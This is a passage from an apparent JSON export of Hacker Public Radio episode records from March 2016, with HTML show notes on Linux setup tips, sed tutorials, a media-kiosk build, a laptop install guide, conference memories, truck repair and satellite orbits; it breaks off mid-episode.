                                                            13. From: sigflup synasloble <pantsbutt@...>
                                                              \n Date: 2016-02-14 19:18:21 -0600
                                                              \n Subject: title
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1128
                                                              \n Messages: 3
                                                            14. \n
                                                            \nTotal messages this month: 13
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.

                                                            \n

                                                            There are 17 comments:

                                                            \n
                                                              \n
                                                            • hpr1896\n(2015-11-09) \"User Local Software\"\nby Eric Duhamel.\n
                                                              • Comment 2:\nBoclodoa on 2016-02-01:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1919\n(2015-12-10) \"DerbyCon Interview with Paul Koblitz\"\nby Xoke.\n
                                                              • Comment 1:\nOtto Localhorst on 2016-02-17:\n\"a template for a 'loid'\"
                                                              • \n

                                                            • \n
                                                            • hpr1941\n(2016-01-11) \"What's in my case\"\nby Dave Morriss.\n
                                                              • Comment 18:\nNYbill on 2016-02-11:\n\"Its been a bit of an adventure...\"
                                                              • Comment 19:\nDave Morriss on 2016-02-15:\n\"Old fountain pen\"
                                                              • Comment 20:\nJonathan Kulp on 2016-02-15:\n\"Pilot Metro and Scheaffer\"
                                                              • Comment 21:\nDave Morriss on 2016-02-15:\n\"Sheaffer\"
                                                              • \n

                                                            • \n
                                                            • hpr1954\n(2016-01-28) \"Grandpa Shows Us How to Turn Custom Pens\"\nby Jon Kulp.\n
                                                              • Comment 3:\nDave Morriss on 2016-02-01:\n\"Old Sheaffer\"
                                                              • \n

                                                            • \n
                                                            • hpr1956\n(2016-02-01) \"HPR Community News for January 2016\"\nby HPR Volunteers.\n
                                                              • Comment 1:\nMike Ray on 2016-01-31:\n\"xmlstarlet, yes please\"
                                                              • \n

                                                            • \n
                                                            • hpr1957\n(2016-02-02) \"FOSDEM 2016 K building level 1 Group B and C\"\nby Ken Fallon.\n
                                                              • Comment 1:\nMike Ray on 2016-02-01:\n\"Distros and Accessibility\"
                                                              • Comment 2:\nKen Fallon on 2016-02-02:\n\"It wasn't really fair\"
                                                              • Comment 3:\nMike Ray on 2016-02-02:\n\"A11y awareness\"
                                                              • \n

                                                            • \n
                                                            • hpr1958\n(2016-02-03) \"FOSDEM 2016 K building level 1 Group A\"\nby Ken Fallon.\n
                                                              • Comment 1:\nTrent Palmer on 2016-02-04:\n\"Awesome Episode!\"
                                                              • Comment 2:\nMike Ray on 2016-02-05:\n\"Dazzling achievement\"
                                                              • \n

                                                            • \n
                                                            • hpr1959\n(2016-02-04) \"FOSDEM 2016 K building level 2\"\nby Ken Fallon.\n
                                                              • Comment 1:\nMike Ray on 2016-02-03:\n\"More great interviews\"
                                                              • \n

                                                            • \n
                                                            • hpr1972\n(2016-02-23) \"How I got into Linux\"\nby m1rr0r5h4d35.\n
                                                              • Comment 1:\nTurtle on 2016-02-25:\n\"Nice show\"
                                                              • \n

                                                            • \n
                                                            • hpr1973\n(2016-02-24) \"Free/Libre/Vrije Software: The Goal and the Path\"\nby Ken Fallon.\n
                                                              • Comment 1:\nAndreas on 2016-02-24:\n\"there is something missing...\"
                                                              • Comment 2:\nJames Michael Du Pont on 2016-02-27:\n\"cut off\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1982,"date":"2016-03-08","title":"Whats in my virtual bag","duration":1710,"summary":"The usual programs I use everyday in my system","notes":"

                                                            Programs mentioned:

                                                            \n\n","hostid":323,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"Basic setup, Linux, Power user, Vim, Ratpoison, Sakura, Puppy Linux","version":0,"downloads":0,"valid":1}, {"id":1983,"date":"2016-03-09","title":"Review of Sony Vaio VPC","duration":2019,"summary":"Sony vaio is discussed","notes":"
                                                              \n
                                                            • i3 cpu
                                                            • \n
                                                            • 4 gb ram (can go up to 8 gb)
                                                            • \n
                                                            • 5400 rpm hdd
                                                            • \n
                                                            • linux mint 17.3
                                                            • \n
                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, sony vaio, laptop","version":0,"downloads":0,"valid":1}, {"id":1984,"date":"2016-03-10","title":"A Love Letter to linux.conf.au","duration":595,"summary":"Why I've been to fifteen linux.conf.au conferences","notes":"

                                                            Linux.conf.au, is the name and website of my favourite conference. Known by insiders as simply lca, it is an annual technical conference, focusing on Linux and Open Source technologies. LCA is a roaming conference, going to a different city of Australia and New Zealand every year. I've helped organise the two lca's in my home town of Brisbane, Queensland, and it was in fact the first of these that introduced me to lca. This year lca was held in Geelong, down in the state of Victoria and it counts as my fifteenth linux.conf.au. Clearly this conference has become quite a big part of my life and it's probably a mature thing to stand back and have a look at why.

                                                            \n

                                                            lca is a technical conference, it's not a sales oriented conference, as an engineer having non-salesy, technical content makes me feel at home. For the most part, the paper committee only accept talks from people directly working on a project, so the speakers we select know their topic. lca is explicitly an open source conference, and mostly a low level conference.

                                                            \n

                                                            lca is a week long conference, so I often add some extra time on the end to make a holiday out of it. A fair percentage of our attendees are from overseas, and it makes sense for them to do the same. I have taken the train to a Perth (Western Australia) lca, that's the Indian Pacific train, a three day trip from one side of the country to the other. I've done a day trip on a train in New Zealand, from Auckland to Wellington. I've done a couple of motorcycle trips, down to Ballarat and Geelong (both cities in the state of Victoria). Those two tours are roughly a 3600km (or 2200 mile) round trips taking three to four days each way.

                                                            \n

                                                            I've done a motorcycle tour of Tasmania (an island state of Australia) after a Tasmanian lca. Next year, the conference is back in Tasmania for the Hobart lca, I'm planning on doing a week long hike of about 85kms (50 odd miles) before the conference along the South Coast Track.

                                                            \n

                                                            There are a bunch of people that I only get to see at lca, from year to year, sadly some of these come from my own home town. Keeping these connections strong is an important part of lca for me.

                                                            \n

                                                            Every year, the parent organisation of lca, Linux Australia holds their Annual General Meeting during lca. I've been an Ordinary committee member on the Linux Australia council a couple of times now. This year I didn't get enough votes, which means I have more time to devote to other things, like HPR recordings :)

                                                            \n

                                                            Registration for lca normally starts Sunday afternoon, there's often a beginners guide to the conference. After fifteen years, I don't think I've ever attended one, but I should probably help lead it next year..

                                                            \n

                                                            It's very common for lca to choose a charity to raise money for. For many years this meant a loud, long, often raucous auction. In recent years we've had a raffle over the full length of the conference. We've helped many worthy charities over the years, the one that comes to mind was the 'Save the Tasmanian Devils' fund, for which we raised a substantial amount of money, something around forty thousand dollars, partly based on the auction prize of changing the linux's kernel logo from Tux to Tuz, the lca mascot for that year. Tuz is a Tasmanian devil wearing a costume Penguin beak to cover over his case of the Devil Facial Tumour Disease, a communicable cancer, that is threatening their existence. This was also the conference where Linus shaved bDale's beard off to raise money for the charity.

                                                            \n

                                                            We often hold lca at a university, and we often use student dormitories as accommodation. If we're lucky, this means that a large percentage of attendees can meet up in common areas of the accommodation at the end of the day and continue the conference long into the night. A particularly memorable lca on this front, somewhere in New Zealand, I forget which city, had a whole level of a student accommodation centre set aside as a common area, so a large percentage of the conference were able to fit and continue the conference late into the evening.

                                                            \n

                                                            The first two days of the conference are generally reserved for miniconferences, or miniconfs as we refer to them. These miniconfs go for one or two days and are organised around a particular topic, and separately to the main conference. The miniconfs change every year, but commonly include miniconfs focused on the kernel (this is primarily attended by kernel coders), hardware (based around ardunio, raspi, and this year espy), multimedia and music, sysadmin, OpenRadio, Open Source in Government. A highlight from the second Brisbane lca was the rocketry miniconf, where 25 odd rockets were put together and later launched. We've been blessed over the years to have miniconfs working to improve and enlarge our community, including LinuxChix, Haecksen and the Community Leadership Summits.

                                                            \n

                                                            After the miniconf days are done, the conference proper begins. These days start off with a keynote, have four or more streams of talks during the day, with longer tutorials running for half the day.

                                                            \n

                                                            My favourite keynote from this year was Genevieve Bell, from Intel. From previous years, Tim Berners Lee, Eben Moglen and Kathy Sierra have left long term marks. These are people who have fundamentally created the world I live and work in now, their contributions cannot be understated.

                                                            \n

                                                            There are a bunch of talks from every year that change the way I think about something, or the way I work. This year, I reckon the Record/Replay talk will probably change the way I debug programs. RR is a Mozilla tool, you run the buggy program under rr, which records exactly what the system calls the program runs, what state effects the program has, then you run that recording under the standard debugger, gdb. Typically with gdb you can only step forwards into the program, but with rr you can actually step back in time as well!

                                                            \n

                                                            A hardware talk that really caught my attention this year was the Linux Microwave, a regular microwave with a set of scales and a thermal imaging camera added, so that whenever you heat/warm/defrost something, the microwave will never ever burn/under/over cook the food!

                                                            \n

                                                            The other bit of hardware that I feel warrants a mention was the large loom that one of our venues, the National Wool Museum was built around. It is programmed by a large bunch of punch cards! There's always local attractions that add something to the conference.

                                                            \n

                                                            During the week, ad-hoc groups form around common interests, we call these Birds-of-feather sessions. I usually end up attending the Emacs BoF. A recurring BoF is the jobs BoF, where employers and hopeful employees come together.

                                                            \n

                                                            I don't tend to attend too many tutorials myself. A number of years back I ran a tutorial on Antlr, a recursive descent parser toolkit.

                                                            \n

                                                            There are a number of social events that happen most years, the conference dinner, the speakers dinner, and the professionals session. These events target the different audiences at the conference. A favourite spin on this was during a Melbourne lca where diners were given food and drink tokens to use around a market, rather than a traditional sit down dinner. The speakers dinner is a smaller, more private thank you to the speakers, many of whom have flown in from overseas. The professionals session tends to be the most varied, as it tends not be a full meal, but just a place where folks can meet, greet and swap business cards.

                                                            \n

                                                            I can't say it's always been a bed of roses, I've had a couple of hospital trips over the years, one for myself where, along with almost half of the conference, I came down with the dreaded noro-virus, a gastro bug that is prevalent on cruise ships. During another lca when I was chaperoning another attendee to hospital I figured my lca was over, but then I struck up a conversation with our ambulance driver, and it turned out he'd been working on pdp-11s during his uni days!

                                                            \n

                                                            The other awful lca experience I have to mention was the flooding that occurred just one week prior to our second Brisbane lca. All of our venues were affected, some were destroyed completely. We had to shift our main venue about 5kms up the road, hire buses, find new caterers at the last minute, a whole world of pain.

                                                            \n

                                                            For many years now, most of our talks have been recorded, using our own recording system. All of these videos are up on the Linux Australia server and youtube. This means that weeks, months after the conference is finished, I find myself watching a recording that someone has recommended, and it takes me back to that one week in every year where the world makes sense to me.

                                                            \n

                                                            As I mentioned previously, the next linux.conf.au is in Hobart, January 2017, I hope to see some hpr listeners there.

                                                            \n

                                                            Links

                                                            \n","hostid":315,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, open source, conference","version":0,"downloads":0,"valid":1}, {"id":1985,"date":"2016-03-11","title":"Fixing Bug 1092571","duration":212,"summary":"Cant mount drive with cifs but can with kioslave smb","notes":"

                                                            \nAfter a windows server upgrade in work, I was no longer able to mount samba network drives from my laptop. Basically it boils down to not been able to mount drives on the console, but been able to browse them in the GUI. After investigating and trying all the options presented, I filed a bug with Fedora.
                                                            \nhttps://bugzilla.redhat.com/show_bug.cgi?id=1092571\n

                                                            \n

                                                            \nDespite filling in all the information, the bug remained untouched by human hands. Robots shut it, I reopened it. To be honest I thought it might be my set-up as nobody else was reporting it as an issue. Sure there were other people reporting problems but not attached to this bug.\n

                                                            \n

                                                            \nAnyway I happened to be at FOSDEM (https://hackerpublicradio.org/series/0089.html) and spotted Jeremy Allison from the SAMBA project who I had the pleasure of interviewing previously https://hackerpublicradio.org/eps.php?id=1451).\n

                                                            \n

                                                            \nJeremy was immediately able to pinpoint the issue to the kernel probably only supporting SMB version 1, while user space uses libsmbclient that supports smb1/smb2.\n

                                                            ","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"samba, smb1, smb2, /etc/fstab","version":0,"downloads":0,"valid":1}, {"id":1986,"date":"2016-03-14","title":"Introduction to sed - part 2","duration":3678,"summary":"Some more about the GNU sed command","notes":"

                                                            Introduction to sed - part 2

                                                            \n

                                                            In the last episode we looked at sed at the simplest level. We looked at three command-line options and the 's' command. We introduced the idea of basic regular expressions.

                                                            \n

                                                            In this episode we will cover all of these topics in more detail.

                                                            \n

                                                            We are looking at GNU sed in this series. This version contains many extensions to POSIX sed. These extensions provide many more features, but sed scripts written this way are not portable.

                                                            \n

                                                            To read the rest of the notes for this episode follow this link.

                                                            \n

                                                            Note: Since recording the audio I have added a sixth example to the full notes to cover the topic of word boundaries, which I had omitted at the time.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":90,"explicit":1,"license":"CC-BY-SA","tags":"sed,stream editor,option,regular expression,substitution","version":0,"downloads":0,"valid":1}, {"id":1987,"date":"2016-03-15","title":"Pomodoro Timer - The Evolution of a Script (pt 1)","duration":1327,"summary":"The different stages of a bash script that was created accidentally","notes":"","hostid":323,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"Productivity, Bash basics, Programming design, Pomodoro, Timer, loops, sleep","version":0,"downloads":0,"valid":1}, {"id":1988,"date":"2016-03-16","title":"Linux from Scratch","duration":425,"summary":"My experience of installing Linux from source","notes":"\n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux From Scratch","version":0,"downloads":0,"valid":1}, {"id":1989,"date":"2016-03-17","title":"WDTV Makes Me Itch","duration":1880,"summary":"A step-by-step description of turning an old computer into a simple linux media appliance","notes":"

                                                            This half-hour-long episode describes the complete process for turning an old, limited thin-client terminal (an HP T5740) - and incidentally just about any other kind of hardware - into a simple automatic media-playing kiosk-style device, running VLC on a hand-made minimalist Arch Linux installation. I've tried to describe the procedure I came up with in enough detail that anyone with a little bit of Linux experience can hopefully follow and potentially replicate the whole thing, but not so much detail that it gets horrifically tedious. Some of the extra details I glossed over in the audio are here in the show notes if you want them.

                                                            \n

                                                            This episode will mostly be of interest to people with a little bit of Linux experience, but may hopefully be interesting to a few others. Mac and Windows partisans take note: before you start giggling about how \"complicated\" it is to set up Linux as you listen to what I describe here, I will reiterate that I chose to do the install \"by hand\" like this, and I assure you a more typical Linux install is quite a bit simpler (having just spent several months brutally installing Windows systems on innocent computers, getting and ordinary Linux installation finished is not only easier but faster. (\"Windows is getting ready to start to prepare to configure updates. Please wait 5 hours and don't turn off your computer...\") So there.

                                                            \n

                                                            I'm also going to try posting an \"enhanced\" version of this episode in .opus format with chapter markings and so on at my site: https://hpr.dogphilosophy.network Additional information may be found there as well, especially if anyone asks for it.

                                                            \n

                                                            Some Linuxable Hardware I Mentioned:

                                                            \n

                                                            Installing linux on old computers, laptops, etc. is such a well-established tradition that I don't see any reason to hunt down specific examples, but I also mentioned:

                                                            \n\n

                                                            I assume I don't need to explain that the Dead Badgers thing isn't entirely serious... It's not entirely a joke, either: https://www.instructables.com/id/Compubeaver---%3E-How-to-case-mod-a-beaver---in-29-e/

                                                            \n\n
                                                              \n
                                                            • systemd-networkd config:
                                                              \nhttps://wiki.archlinux.org/index.php/Systemd-networkd#Basic_DHCP_network
                                                            • \n
                                                            \n
                                                            [Match]\nName=en*\n\n[Network]\nDHCP=ipv4
                                                            \n\n

                                                            Autostart X on tty1 only: https://wiki.archlinux.org/index.php/Xinitrc#Autostart_X_at_login

                                                            \n
                                                            [[ -z $DISPLAY && $XDG_VTNR -eq 1 ]] && exec startx
                                                            \n

                                                            I actually have also tried the \"web browser kiosk\" thing with the browser loading up a particular web page on start. It actually works just fine, except that the Windows DHCP server seems to be kind of slow, and if I just let the system start without checking the browser initially just shows an \"internet no work\" sort of message. I got around this nicely by adding a couple of steps to .xinitrc before starting the web browser. First, I created a graphic to use as an X background that just has text that indicates that it's waiting for the network to come up. Then, I put a loop in .xinitrc that checks for a hostname on the internet to see if it resolves to an IP yet, which would tell me the internet had come up. I didn't want to have to install any specific additional software utilities or, ideally, to have to do any special parsing. It turns out that you can just use \"getent ahosts4 google.com\" (or other internet hostname) as a test for this - it will return nothing if the name doesn't resolve, so you only need to test if the response is not a blank. I used \"sleep 1\" to pause one second between tries. Once the resolution returns something, I had xsetbg change the background graphic to a more appropriate default and continue starting the browser, the VNC server, etc.

                                                            \n

                                                            The .xinitrc for that looks like this:

                                                            \n
                                                            if [ -d /etc/X11/xinit/xinitrc.d ] ; then\n    for f in /etc/X11/xinit/xinitrc.d/?* ; do\n        [ -x \"$f\" ] && . \"$f\"\n    done\n    unset -f\nfi\n\nxset s off\nxset -dpms\nxsetbg -fullscreen WaitingForNetwork.png\n#vlc --extraintf=http --http-host 0.0.0.0:8080 --http-password 'PutPasswordHere' -L playlist.m3u &\n#Not sure this is necessary - chromium seems to retry on its own\nwhile [ `getent ahostsv4 google.com` -eq '']\ndo\n##wait one second then check again to see if network is up\nsleep 1\ndone\nxsetbg NetworkNowUp.png\n##The URL below is a \"test to see if you can connect to a conference\" link\nchromium --incognito --app=https://www3.gotomeeting.com/join/406552062 &\nx0vncserver -display :0 -passwordfile /home/tech/.vnc/passwd &\nexec openbox-session
                                                            \n

                                                            If you have any questions or comments, you can leave them at either

                                                            \n

                                                            https://hackerpublicradio.org/eps.php?id=1989

                                                            \n

                                                            or on my own blog at

                                                            \n

                                                            https://hpr.dogphilosophy.net

                                                            \n

                                                            Links

                                                            \n\n","hostid":182,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,tutorial,howto,appliance,kiosk,media,video,audio,vlc,hardware,reuse","version":0,"downloads":0,"valid":1}, {"id":1990,"date":"2016-03-18","title":"Pomodoro Timer - The Evolution of a Script part deux","duration":1734,"summary":"Further evolutions of a pomodoro script that got a life of its own","notes":"

                                                            \nThe Script: hpr1990.bash\n

                                                            \n","hostid":323,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"Productivity, Bash basics, Programming design, Pomodoro, Timer, loops, sleep","version":0,"downloads":0,"valid":1}, {"id":1991,"date":"2016-03-21","title":"Adventures installing Linux on an Asus EeeBook X205A","duration":1065,"summary":"Installation instructions from lessons learned the hard way.","notes":"

                                                            High-level steps to install Ubuntu Mate on the Asus Eeebook X205A

                                                            \n
                                                            \n

                                                            Information compiled from Here, Here, and Here

                                                            \n
                                                            \n

                                                            Download and create startup disk

                                                            \n

                                                            Download the 64-bit version of the iso, then create a bootable USB. I recommend using dcfldd.

                                                            \n

                                                            Getting grub 32-bit

                                                            \n

                                                            Compile or download grubia32.efi (see links), then move it into the /EFI/BOOT directory on the USB.

                                                            \n

                                                            Installation

                                                            \n

                                                            Boot from the disk (assuming you already disabled secure boot from the BIOS). Install the system as you like.

                                                            \n

                                                            First Boot

                                                            \n

                                                            Reboot, but leave in USB. Type c when grub loads, then enter in:

                                                            \n
                                                            linux (hd1,gpt2)/boot/vmlinuz.... root=/dev/mmcblk0p2\ninitrd (hd1,gpt2)/boot/initrd....\nboot
                                                            \n

                                                            Wi-Fi

                                                            \n

                                                            To get wi-fi working, put in terminal:

                                                            \n
                                                            sudo cp /sys/firmware/efi/efivars/nvram-XXXXXX /lib/firmware/brcm/brcmfmac43340-sdio.txt
                                                            \n

                                                            Then reload the brcmfmac driver:

                                                            \n
                                                            sudo modprobe -r brcmfmac\nsudo modprobe brcmfmac
                                                            \n

                                                            Fix bootloader

                                                            \n

                                                            Fix Bootloader with the following commands as root:

                                                            \n
                                                            sudo apt-get install git bison libopts25 libselinux1-dev autogen m4 autoconf help2man libopts25-dev flex libfont-freetype-perl automake autotools-dev libfreetype6-dev texinfo\n\n# from https://www.gnu.org/software/grub/grub-download.html\ngit clone git://git.savannah.gnu.org/grub.git\n\ncd grub\n\n./autogen.sh\n\n./configure --with-platform=efi --target=i386 --program-prefix=\"\"\n\nmake\n\ncd grub-core\nsudo su\n../grub-install -d . --efi-directory /boot/efi/ --target=i386\ncd /boot/efi/EFI\ncp grub/grubia32.efi ubuntu/\nexit
                                                            \n

                                                            Then, we can just install grub-efi-ia32:

                                                            \n
                                                            sudo apt-get update\nsudo apt-get install grub-efi-ia32
                                                            \n

                                                            Edit the grub configuration file:

                                                            \n
                                                            sudo nano /etc/default/grub
                                                            \n

                                                            Find the line starting GRUB_CMDLINE_LINUX_DEFAULT and add intel_idle.max_cstate=1 before quiet splash\".

                                                            \n

                                                            Then ctrl-o, ctrl-x to save & exit, and type: sudo update-grub to update Grub.

                                                            \n

                                                            Remove the USB stick and reboot, and you should now have a self-sufficient booting system.

                                                            \n

                                                            Conflict between sdhci-acpi and brcmfmac

                                                            \n

                                                            Due to some conflict between sdhci-acpi and brcmfmac (https://bugzilla.kernel.org/show_bug.cgi?id=88061), a parameter has to be changed for the sdhci-acpi driver. There are several ways to do this, but a quick fix is to add this line in /etc/sysfs.conf (make sure you have the package sysfsutils installed), this way the option is passed before the brcmfmac driver is loaded :

                                                            \n
                                                            # Disable SDHCI-ACPI for Wireless, otherwise WLAN doesn't work\nbus/platform/drivers/sdhci-acpi/INT33BB:00/power/control = on
                                                            \n

                                                            microSD Card Reader

                                                            \n

                                                            Create a file /etc/modprobe.d/sdhci.conf with the following content:

                                                            \n
                                                            # Adjustment to make micro SD card reader work\noptions sdhci debug_quirks=0x8000
                                                            \n

                                                            Then run

                                                            \n
                                                            update-initramfs -u -k all
                                                            \n

                                                            After a reboot the card reader should be working.

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Ubuntu Mate,Asus Eeebook X205A","version":0,"downloads":0,"valid":1}, {"id":1992,"date":"2016-03-22","title":"How I'm handling my podcast-subscriptions and -listening","duration":497,"summary":"I'm describing my workflow from receiving the files to listen to them.","notes":"\n\n

                                                            Editor's Note 2018-06-12: The links above which previously referenced GitHub\nhave been updated to reflect the new location of the software, GitLab.

                                                            \n","hostid":309,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"podcasts,tools,listening,podget","version":0,"downloads":0,"valid":1}, {"id":1993,"date":"2016-03-23","title":"Can your window manager do this?","duration":2022,"summary":"Where I show off my Ratpoison configurations","notes":"\n

                                                            Links

                                                            \n","hostid":323,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Ratpoison, Window Manager, Puppy Linux, customization","version":0,"downloads":0,"valid":1}, {"id":1994,"date":"2016-03-24","title":"Truck Repair: Serpentine Belt Replacement","duration":3688,"summary":"Listen as I replace the serpentine belt, idler pulley, and belt tensioner in my truck.","notes":"

                                                            Come along for the ride as I repair my pickup truck. The job is to replace the serpentine belt, idler pulley, and belt tensioner in the hope of getting rid of a very annoying loud chirping sound that was coming from my engine. Even after cutting out the long pauses where I was staring at my engine trying to imagine how I was going to get the belt to go in the indicated pattern, this episode still tops out at about one hour. Be warned. There are several sections where you're just kind of listening along to sounds of nature as I work.

                                                            \n\n

                                                            Here's the instructional video I watched to learn how to do it:

                                                            \n\n\n\n

                                                            \nhttps://www.youtube.com/watch?v=alXnTNxO9qw\n

                                                            \n\n

                                                            Credits

                                                            \n\n","hostid":238,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"DIY, Auto repair, auto maintenance, cars, trucks","version":0,"downloads":0,"valid":1}, {"id":1995,"date":"2016-03-25","title":"Cov's Jams","duration":1730,"summary":"A compilation of libre licensed music that Cov enjoyed listening to","notes":"

                                                            Songs

                                                            \n\n\n

                                                            Playlist

                                                            \n

                                                            \nhttps://www.jamendo.com/playlist/500161911/cov-s-jams-002\n

                                                            \n","hostid":322,"series":22,"explicit":1,"license":"CC-BY-SA","tags":"music","version":0,"downloads":0,"valid":1}, {"id":1996,"date":"2016-03-28","title":"Xdotool magic","duration":1082,"summary":"Overview and a few usage possibilities of the Xdotool program","notes":"\n","hostid":323,"series":11,"explicit":0,"license":"CC-BY-SA","tags":"Xdotool, Automation, Productivity, File naming, Time stamps","version":0,"downloads":0,"valid":1}, {"id":1997,"date":"2016-03-29","title":"Introduction to sed - part 3","duration":3828,"summary":"Looking at some more sed commands than just s","notes":"

                                                            Introduction to sed - part 3

                                                            \n

                                                            In the last episode we looked at sed at a more advanced level. We looked at all of the command-line options which we will cover in this series and examined the s command in much more detail. We covered many more details of regular expressions.

                                                            \n

                                                            In this episode we will look at more sed commands and how to use them.

                                                            \n

                                                            To read the rest of the notes for this episode follow this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":90,"explicit":1,"license":"CC-BY-SA","tags":"sed,stream editor,line address,regular expression,edit command","version":0,"downloads":0,"valid":1}, {"id":1998,"date":"2016-03-30","title":"Homebrewing","duration":1438,"summary":"A bit about making your own beer.","notes":"

                                                            \nIn this episode, I will share some tips about how to get the most out of an inexpensive, entry-level homebrewing kit such as the Mr. Beer branded kit. These tips will work with any kit, however.\n

                                                            ","hostid":325,"series":14,"explicit":1,"license":"CC-BY-SA","tags":"home brewing,accents","version":0,"downloads":0,"valid":1}, {"id":1999,"date":"2016-03-31","title":"How I record a full band under Linux","duration":1193,"summary":"How I use Ardour, Jack audio, and a Presonus interface to record an entire band practice.","notes":"

                                                            How I use Ardour, Jack audio, and a Presonus interface to record an entire band practice under linux.

                                                            \n
                                                              \n
                                                            • Tools:

                                                              \n
                                                                \n
                                                              • Ardour
                                                              • \n
                                                              • Calf studio gear
                                                              • \n
                                                              • Invada Plugins
                                                              • \n
                                                              • ArtyFX
                                                              • \n
                                                              • Jack
                                                              • \n
                                                              • Qjackctl
                                                              • \n
                                                            • \n
                                                            • Hardware

                                                              \n
                                                                \n
                                                              • Dell Latitude e6320
                                                              • \n
                                                              • Presonus studiolive 16.4.2
                                                              • \n
                                                              • various Microphones
                                                              • \n
                                                            • \n
                                                            ","hostid":327,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Ardour,Jack audio,Presonus StudioLive mixer","version":0,"downloads":0,"valid":1}, {"id":2000,"date":"2016-04-01","title":"How to Point a Satellite Dish","duration":3958,"summary":"After 10 years, 3 months, 19 days of Procrastination, Ken finally delivers droops a show","notes":"\n

                                                            Spoiler

                                                            \n

                                                            Ken did not fall of the roof in a storm

                                                            \n\n

                                                            This show is dedicated to Procrastination, the avoidance of doing a task which needs to be accomplished.

                                                            \n

                                                            I've been trying to record this particular show for ages but I can never seem to finish it. I find the topic just too interesting. When I start then I get distracted by some other aspect. Every time I try to record it Murphy gets in the way, with lost recordings and broken cards etc. This is the email that prompted this show.

                                                            \n
                                                            -------- Forwarded Message --------\nSubject: TWAT - Satellite communications\nDate: Tue, 13 Dec 2005 12:00:54 +0100\n\nHi Droops,\n\nI heard your call for content and I'd like to send you some shows. I\ndon't have a lot of spare time with work and a young family so I can't\ndo a regular show but I can send you a series on a topic. I was\nthinking of doing a series on Satellite Communications.\n...\nKen\n
                                                            \n

                                                            https://en.wikipedia.org/wiki/Murphy%27s_law

                                                            \n

                                                            So after eleven years, I set the deadline of episode 2000 to force myself to finish this show.

                                                            \n

                                                            Let's start.

                                                            \n

                                                            What are orbits ?

                                                            \n

                                                            https://en.wikipedia.org/wiki/Orbit

                                                            \n

                                                            In physics, an orbit is the gravitationally curved path of an object about a point in space, for example the orbit of a planet about a star or a natural satellite around a planet. Orbits of planets are typically elliptical, and the central mass being orbited is at a focal point of the ellipse.

                                                            \n

                                                            Newton's cannonball was a thought experiment Isaac Newton used to hypothesize that the force of gravity was universal, and it was the key force for planetary motion. It appeared in his book A Treatise of the System of the World.

                                                            \n

                                                            https://en.wikipedia.org/wiki/Newton%27s_cannonball

                                                            \n

                                                            https://upload.wikimedia.org/wikipedia/commons/7/73/Newton_Cannon.svg

                                                            \n

                                                            \n
                                                              \n
                                                            • No orbit
                                                            • \n
                                                            • Suborbital trajectories, trajectory intersects the atmosphere so that it does not complete one orbital revolution.
                                                            • \n
                                                            • Orbital trajectories (or simply \"orbits\")
                                                            • \n
                                                            • Open (or escape) trajectories
                                                            • \n
                                                            \n

                                                            It is worth noting that orbital rockets are launched vertically at first to lift the rocket above the atmosphere (which causes frictional drag), and then slowly pitch over and finish firing the rocket engine parallel to the atmosphere to achieve orbit speed.

                                                            \n

                                                            Once in orbit, their speed keeps them in orbit above the atmosphere. If e.g., an elliptical orbit dips into dense air, the object will lose speed and re-enter (i.e. fall). Occasionally a space craft will intentionally intercept the atmosphere, in an act commonly referred to as an aerobraking maneuver.

                                                            \n

                                                            Types of orbits

                                                            \n

                                                            There are many ways to classify orbits

                                                            \n

                                                            https://en.wikipedia.org/wiki/List_of_orbits

                                                            \n

                                                            The choice of which orbit to use is based on the intended purpose of the satellite.

                                                            \n
                                                              \n
                                                            • Centric classifications: Based on what they orbit
                                                            • \n
                                                            • Altitude classifications: Based on how high they are
                                                            • \n
                                                            • Inclination classifications: Based on the angle of rotation with respect to the Equator.
                                                            • \n
                                                            • Eccentricity classifications: Based on their path
                                                            • \n
                                                            • Synchronicity classifications: Based on how often they rotate
                                                            • \n
                                                            \n

                                                            Low Earth orbit (LEO)

                                                            \n

                                                            0 to 2,000 km (0–1,240 miles).

                                                            \n
                                                              \n
                                                            • 0 km / mi - Sea Level.
                                                            • \n
                                                            • 37.6 km / 23.4 mi - Self Propelled Jet Aircraft Flight Ceiling (Record Set in 1977).
                                                            • \n
                                                            • 215 km / 133.6 mi - Sputnik-1 The first artificial satellite of earth.
                                                            • \n
                                                            • 340 km / 211.3 mi - International Space Station.
                                                            • \n
                                                            • 390 km / 242.3 mi - Former Russian Space Station MIR.
                                                            • \n
                                                            • 595 km / 369.7 mi - Hubble Space Telescope.
                                                            • \n
                                                            • 600 - 800 km / 372.8 - 497.1 mi - Sun-synchronous Satellites.
                                                            • \n
                                                            \n

                                                            These satellites orbit the Earth in near exact polar orbits north to south. They cross the equator multiple times per day and each time they are at the same anglewith respect to the sun. Satellites on these types of orbits are particularly useful for capturing images of the Earth’s surface or images of the sun

                                                            \n

                                                            Medium Earth orbit (MEO)

                                                            \n

                                                            Geocentric orbits ranging in altitude from 2,000 km (1,240 miles) to just below geosynchronous orbit at 35,786 kilometers (22,236 mi).

                                                            \n

                                                            GPS (Global Positioning System) Satellites reside here. These Satellites are on a Semi-synchronous Orbit (SSO) meaning that they orbit the earth in exactly 12 hours (twice per day)

                                                            \n

                                                            Geosynchronous orbit (GSO) and Geostationary orbit (GEO)

                                                            \n

